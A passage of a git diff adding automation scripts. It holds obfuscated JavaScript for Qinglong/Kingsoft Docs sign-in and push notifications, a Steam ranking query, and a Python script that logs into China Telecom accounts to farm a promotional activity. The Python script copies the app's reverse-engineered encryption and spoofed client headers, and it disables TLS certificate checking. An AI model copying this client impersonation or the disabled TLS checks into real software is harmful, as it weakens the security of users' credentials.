_0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + const formatSteamStats = (data) => { + const stats = [ + `🎮 ${data.name_cn}`, + `👥 当前玩家:${Number(data.current).toLocaleString()} (排名#${data.current_rank})`, + `🚀 历史峰值:${Number(data.peak).toLocaleString()} (${new Date(data.peak_t*1000).getFullYear()}年记录)`, + `📈 24小时峰值:${Number(data.day_peak).toLocaleString()} (排名#${data.day_peak_rank})`, + `🕒 最后更新:${new Date(data.update_time).toLocaleTimeString('zh-CN')}` + ]; + + // 添加特别成就标识 + if(data.peak_rank === "1") stats.push(`🏆 历史峰值全站第1名!`); + if(data.day_peak_rank <= 3) stats.push(`🔥 今日热度TOP${data.day_peak_rank}`); + + return stats.join('\n'); + }; + + + input = Range("D" + pos).Value2 + let url = "https://jkapi.com/api/steam_rank?appid=" + input + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.json() + // console.log(resp) + content = formatSteamStats(resp) + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i { + await getNotice() + $.checkEnv(ckName); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/脚本库/微信小程序/抓包版/str,_actparam_str_-_dict/2026-04-01_tianyi_b953df84.py b/脚本库/微信小程序/抓包版/str,_actparam_str_-_dict/2026-04-01_tianyi_b953df84.py new file mode 100644 index 0000000..4250f65 --- /dev/null +++ b/脚本库/微信小程序/抓包版/str,_actparam_str_-_dict/2026-04-01_tianyi_b953df84.py @@ -0,0 +1,973 @@ +# Source: https://github.com/smallfawn/QLScriptPublic/blob/main/tianyi.py +# Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/tianyi.py +# Repo: smallfawn/QLScriptPublic +# Path: tianyi.py +# UploadedAt: 2026-04-01T11:27:33Z +# SHA256: b953df84d60d64163160620c6cddf66ccca375f3794ca42dff66c46d48401660 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +""" +中国电信首页 → 天翼智铃 +""" +import os +import re +import ssl +import json +import time +import random +import string +import base64 +import hashlib +import datetime +import requests +from hashlib import md5 +from http import cookiejar +from Crypto.Cipher import AES, DES3 +from Crypto.PublicKey import RSA +from Crypto.Cipher import PKCS1_v1_5 +from Crypto.Util.Padding import pad, unpad + +ACTIVITY_MODE = os.environ.get("ACTIVITY_MODE", "new_year") + +CHANNEL_ID = "156000007489" +INVITATION_CODE = "" +ACTIVITY_ID = "ai089" +VIDEO_ID = "" + +# 账号配置:格式 "手机号#密码" 或 "手机号@密码" +ACCOUNTS_STR = os.environ.get("chinaTelecomAccount", "") + +MAKE_COUNT = 3 + +MIN_SCORE_TO_LOTTERY = 0 +context = ssl.create_default_context() +context.set_ciphers('DEFAULT@SECLEVEL=1') +context.check_hostname = False +context.verify_mode = ssl.CERT_NONE + +class DESAdapter(requests.adapters.HTTPAdapter): + def init_poolmanager(self, *args, **kwargs): + kwargs['ssl_context'] = context + return super().init_poolmanager(*args, **kwargs) + +class BlockAll(cookiejar.CookiePolicy): + return_ok = set_ok = domain_return_ok = path_return_ok = lambda self, *args, **kwargs: False + netscape = True + rfc2965 = hide_cookie2 = False + +key = b'1234567`90koiuyhgtfrdews' +iv = 8 * b'\0' +public_key_b64 = '''-----BEGIN PUBLIC KEY----- +MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBkLT15ThVgz6/NOl6s8GNPofdWzWbCkWnkaAm7O2LjkM1H7dMvzkiqdxU02jamGRHLX/ZNMCXHnPcW/sDhiFCBN18qFvy8g6VYb9QtroI09e176s+ZCtiv7hbin2cCTj99iUpnEloZm19lwHyo69u5UMiPMpq0/XKBO8lYhN/gwIDAQAB +-----END PUBLIC KEY-----''' + +requests.packages.urllib3.disable_warnings() +ss = requests.session() +ss.headers = {"User-Agent": "Mozilla/5.0 (Linux; Android 13; 22081212C) AppleWebKit/537.36"} +ss.mount('https://', DESAdapter()) +ss.cookies.set_policy(BlockAll()) + +def encrypt_3des(text): + cipher = DES3.new(key, DES3.MODE_CBC, iv) + ciphertext = cipher.encrypt(pad(text.encode(), DES3.block_size)) + return ciphertext.hex() + +def decrypt_3des(text): + ciphertext = bytes.fromhex(text) + cipher = DES3.new(key, DES3.MODE_CBC, iv) + plaintext = unpad(cipher.decrypt(ciphertext), DES3.block_size) + return plaintext.decode() + +def b64_rsa(plaintext): + public_key = RSA.import_key(public_key_b64) + cipher = PKCS1_v1_5.new(public_key) + ciphertext = cipher.encrypt(plaintext.encode()) + return base64.b64encode(ciphertext).decode() + +def encode_phone(text): + return ''.join(chr(ord(char) + 2) for char in text) + +def generate_random_string(length=16): + return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(length)) + +def md5_hash(data): + return hashlib.md5(data.encode('utf-8')).hexdigest() + +def encryptmd5(timestamp, randomnum): + md5_e = md5_hash(str(timestamp)) + base64_encoded = base64.b64encode((md5_e + randomnum).encode()).decode() + return md5_hash(base64_encoded + randomnum) + +def encrypt_request(data, t, e, i): + n = json.dumps({k: v for k, v in data.items() if v is not None}, separators=(',', ':')) + encoded_t = base64.b64encode(t.encode()).decode() + encoded_e = base64.b64encode(e.encode()).decode() + s = md5((encoded_t + md5(e.encode()).hexdigest() + i).encode()).hexdigest()[:16] + o = md5((encoded_e + md5(t.encode()).hexdigest() + i).encode()).hexdigest()[:16] + cipher = AES.new(s.encode(), AES.MODE_CBC, iv=o.encode()) + padded_data = pad(n.encode(), AES.block_size) + encrypted_data = cipher.encrypt(padded_data) + return base64.b64encode(encrypted_data).decode() + +def decrypt_response(encrypted_base64, t, e, i): + encoded_t = base64.b64encode(t.encode()).decode() + encoded_e = base64.b64encode(e.encode()).decode() + n = md5((encoded_e + i + md5(t.encode()).hexdigest()).encode()).hexdigest()[:16] + s = md5((encoded_t + i + md5(e.encode()).hexdigest()).encode()).hexdigest()[:16] + cipher = AES.new(n.encode(), AES.MODE_CBC, iv=s.encode()) + encrypted_data = base64.b64decode(encrypted_base64) + decrypted_data = cipher.decrypt(encrypted_data) + unpadded_data = unpad(decrypted_data, AES.block_size) + return json.loads(unpadded_data.decode()) + +def parse_accounts(accounts_str: str) -> list: + accounts = [] + for part in accounts_str.replace("\n", "&").replace("\r", "").split("&"): + part = part.strip() + if "#" in part: + phone, pwd = part.split("#", 1) + elif "@" in part: + phone, pwd = part.split("@", 1) + else: + continue + phone, pwd = phone.strip(), pwd.strip() + if phone and pwd: + accounts.append((phone, pwd)) + return accounts + +def userLoginNormal(phone, password): + timestamp = datetime.datetime.now().strftime("%Y%m%d%H%M%S") + rdmstr = ''.join(random.choices('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', k=16)) + login_cipher = f'iPhone 14 15.4.{rdmstr[:12]}{phone}{timestamp}{password}0$$$0.' + payload = { + "headerInfos": { + "code": "userLoginNormal", "timestamp": timestamp, "broadAccount": "", "broadToken": "", + "clientType": "#11.3.0#channel50#iPhone 14 Pro Max#", "shopId": "20002", + "source": "110003", "sourcePassword": "Sid98s", "token": "", "userLoginName": encode_phone(phone) + }, + "content": { + "attach": "test", + "fieldData": { + "loginType": "4", "accountType": "", "loginAuthCipherAsymmertric": b64_rsa(login_cipher), + "deviceUid": rdmstr, "phoneNum": encode_phone(phone), "isChinatelecom": "0", + "systemVersion": "15.4.0", "authentication": encode_phone(password) + } + } + } + r = ss.post('https://appgologin.189.cn:9031/login/client/userLoginNormal', json=payload) + data = r.json() + response_data = data.get('responseData') + if response_data: + data_inner = response_data.get('data') + if data_inner: + login_result = data_inner.get('loginSuccessResult') + if login_result: + return login_result + print(f"登录响应: {data}") + return None + +def get_ticket(phone, userId, token): + import re + timestamp = datetime.datetime.now().strftime("%Y%m%d%H%M%S") + xml_data = f'getSingle{timestamp}' \ + f'' \ + f'#9.6.1#channel50#iPhone 14 Pro Max#20002' \ + f'110003Sid98s{token}' \ + f'{phone}test' \ + f'{encrypt_3des(userId)}' \ + f'4a6862274835b451' + r = ss.post('https://appgologin.189.cn:9031/map/clientXML', data=xml_data, + headers={'user-agent': 'CtClient;10.4.1;Android;13;22081212C;NTQzNzgx!#!MTgwNTg1'}) + tk = re.findall('(.*?)', r.text) + if tk: + return decrypt_3des(tk[0]) + return None + +def sso_login_v2(ticket): + payload = {"portal": "45", "channelId": CHANNEL_ID, "ticket": ticket} + headers = { + 'User-Agent': "CtClient;11.3.0;Android;12;Redmi K30 Pro;MDAyNDUy!#!MTgwMjQ", + 'Content-Type': "application/json" + } + r = requests.post("https://ai.imusic.cn/vapi/vue_login/sso_login_v2", + data=json.dumps(payload), headers=headers) + if r.status_code == 200: + data = r.json() + if data.get("token"): + return data.get("token"), r.cookies.get_dict() + return None, None + + +class InviteAPI: + BASE_URL = "https://ai.imusic.cn" + + def __init__(self, token: str, cookies: dict = None): + self.token = token + self.session = requests.Session() + self.session.mount('https://', DESAdapter()) + if cookies: + self.session.cookies.update(cookies) + self.session.headers.update({ + "User-Agent": "CtClient;11.3.0;Android;12;Redmi K30 Pro;ODAwODUw!#!MTg2MDg", + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br, zstd", + "Origin": self.BASE_URL, + "Authorization": f"Bearer {token}", + "Referer": 